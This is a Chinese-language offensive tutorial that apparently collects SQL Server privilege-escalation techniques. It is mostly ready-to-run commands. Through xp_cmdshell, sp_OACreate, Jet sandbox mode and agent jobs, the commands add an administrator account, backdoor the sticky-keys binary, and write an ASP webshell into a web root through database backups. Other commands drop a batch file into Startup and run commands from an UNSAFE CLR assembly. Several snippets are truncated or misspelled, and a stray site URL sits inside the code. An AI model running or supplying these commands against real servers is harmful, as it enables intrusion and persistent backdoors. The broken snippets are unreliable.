0x00 SQLServer提權基礎
1、SQLServer權限
列出sql server 角色用戶的權限
按照從最低級別角色(bulkadmin)到最高級別角色(sysadmin)的順序進行描述:
1.bulkadmin:這個角色可以運行BULK INSERT語句.該語句允許從文本文件中將數據導入到SQL Server2008數據庫中,為需要執行大容量插入到數據庫的域帳號而設計.
2.dbcreator:這個角色可以創建,更改,刪除和還原任何數據庫.不僅適合助理DBA角色,也可能適合開發人員角色.
3.diskadmin:這個角色用於管理磁盤文件,比如鏡像數據庫和添加備份設備.適合助理DBA
4.processadmin:SQL Server 2008可以同時多進程處理.這個角色可以結束進程(在SQL Server 2008中稱為"刪除")
5.public:有兩大特點:第一,初始狀態時沒有權限;第二,所有數據庫用戶都是它的成員
6.securityadmin:這個角色將管理登錄名及其屬性.可以授權,拒絕和撤銷服務器級/數據庫級權限.可以重置登錄名和密碼
7.serveradmin:這個角色可以更改服務器范圍的配置選項和關閉服務器
8.setupadmin:為需要管理聯接服務器和控制啟動的存儲過程的用戶而設計.
9.sysadmin:這個角色有權在SQL Server 2008 中執行任何操作.
2、常見SQL Server提權命令
(1)查看數據庫版本
select @@version
(2)查看數據庫版本
select @@version
(3)查看數據庫系統參數
exec master..xp_msver;
(4)查看用戶所屬角色信息
sp_helpsrvrolemember
(5)查看當前數據庫
select db_name();
(6)顯示機器上的驅動器
xp_availablemedia
(7)查看當前賬戶權限
select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa權限
select IS_MEMBER('db_owner') #判斷是否為dba權限
(8)開啟xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
(9)關閉xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;
(10)禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
(11)sp_OACreate執行命令
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
(12)sp_OACreate移動文件
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';
(13)sp_OACreate復制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
(14)sp_OACreate刪除文件
DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啟動\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token
0x01 SQLServer提權方法
根據當前擁有的權限分為如下兩種情況來進行SQL Server的提權。
一、在SA權限下
1、存在xp_cmdshell時
使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啟xp_cmdshell
(1)測試xp_cmdshell是否可以執行
exec master..xp_cmdshell 'ver'
獲取操作系統版本
(2)添加管理員用戶
添加用戶
exec master.dbo.xp_cmdshell 'net user quan 123456 /add'
添加至管理員組
exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add'
2、使用sp_OACreate執行命令
當xp_cmdshell無法使用時,可以使用sp_OACreate執行命令
1)開啟sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
2)使用wscript.shell直接添加系統帳戶
查詢分離器連接后,xp或2003server系統下使用:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
其他操作如下:
(1)sp_OACreate替換粘貼鍵
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
需要同時具備sp_oacreate 和sp_oamethod 兩個功能組件。
成功后3389登陸按五次shift鍵。成功進入服務器。一直向上點”我的電腦“右鍵“管理” 用戶管理直接加用戶。
(2)Shell.Application執行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:','','1';
(3)使用wscript.shell執行命令
use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
public提權操作
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
3、沙盒提權
沙盒模式是數據庫的一種安全功能.在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達式求值.如果表達式不使用可能以某種方式損壞數據的函數或屬性,則可認為它是安全的。
使用場景:無法執行命令時,xp_regwrite可用
(使用條件)
(1)首先檢查xp_cmdshell是否開啟
select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'
(2)開啟沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
SandBoxMode參數含義(默認是2)
0
:在任何所有者中禁止啟用安全模式
1
:為僅在允許范圍內
2
:必須在access模式下
3
:完全開啟
(3)利用jet.oledb執行系統命令添加用戶
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')
(4)將quan用戶添加至管理員組
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')
openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。
4、注冊表劫持粘貼鍵
當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe),使用xp_regwrite修改注冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
二、DBA權限下
DBA權限下通過備份文件提權步驟如下
1、通過備份到網站目錄getshell
兩種備份方式如下
(1)差異備份
backup database 庫名 to disk = 'c:\quan.bak';//完整備份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//創建表cmd並插入一句話木馬
backup database 庫名 to disk='目標位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//進行差異備份
(2)LOG備份
LOG備份需要先把指定的數據庫激活為還原模式,所以需要執行alter database XXX set RECOVERY FUL
,而差異備份不需要,所以只有這條語句的就是LOG備份
alter database 數據庫名稱 set RECOVERY FULL;
create table cmd (a image);
backup log 數據庫名稱 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
;backup log 數據庫名稱 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --
2、通過備份 文件到啟動項提權
(1)先測試xp_cmdshell
是否可用
exec master..xp_cmdshell 'ver'
提示權限拒絕,說明是db_owner
權限.
(2)利用xp_dirtree
列目錄
exec master..xp_dirtree 'c:\',1,1
(3)查看啟動項
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動',1,1
(4)列數據庫
SELECT DB_NAME()
(5)利用url或者sql查詢器log備份bat或一句話
alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\start.bat'--
drop table cmd--
(6)再去查看一下啟動項就有一個bat了
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動',1,1
三、利用SQL Server CLR提權
Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework
的公共語言運行時 (CLR) 組件集成的功能CLR 為托管代碼提供服務,例如跨語言集成、代碼訪問安全性、對象生存期管理以及調試和分析支持。
對於 SQL Server 用戶和應用程序開發人員來說CLR 集成意味着您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、用戶定義類型、用戶定義函數(標量函數和表值函數)以及用戶定義的聚合函數。
要通過此種方式來執行命令,也有幾個前提:
1、在SQL Server上能啟用CLR並可以創建自定義存儲過程
2、SQL Server當前賬號具有執行命令/代碼所需要的權限
創建CLR有兩種方式
第一種就是通過DLL創建
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
第二種就是通過文件十六進制流
CREATE ASSEMBLY AssemblyName from 文件十六進制流
1、安裝Visual Studio和SQL Server數據庫,此次測試使用了VS2017跟SQL2012。
2、創建一個新的SQL Server數據庫項目
3、設置項目屬性,目標平台修改為需要的目標平台,如SQL Server 2012;
將SQLCLR權限級別修改為UNSAFE
;修改.Net 框架版本為自己需要的版本;語言選擇C#
4、右鍵項目,選擇添加->新建項,新建SQL CLR C# 存儲過程
5、填入以下測試代碼:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此處放置代碼
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
process.Start();
}
}
6、填入代碼以后進行編譯,之后到編譯目錄下可以看到一個dacpac
后綴的文件
7、雙擊此文件進行解壓,將解壓出一個名為mode.sql
的文件。
8、執行SQL文件中的以下語句
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
之后執行:
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
9、開啟數據庫服務器配置選項clr enabled
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--開啟clr enabled 選項
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--關閉所有服務器配置選項
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在權限問題,執行下面一段腳本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
10、執行命令:
EXEC [dbo].[SqlStoredProcedure1];
11、刪除存儲過程
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode
0x02 參考文章
《網絡攻防實戰研究——漏洞利用與提權》
https://www.cnblogs.com/wh4am1/p/11669539.html
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html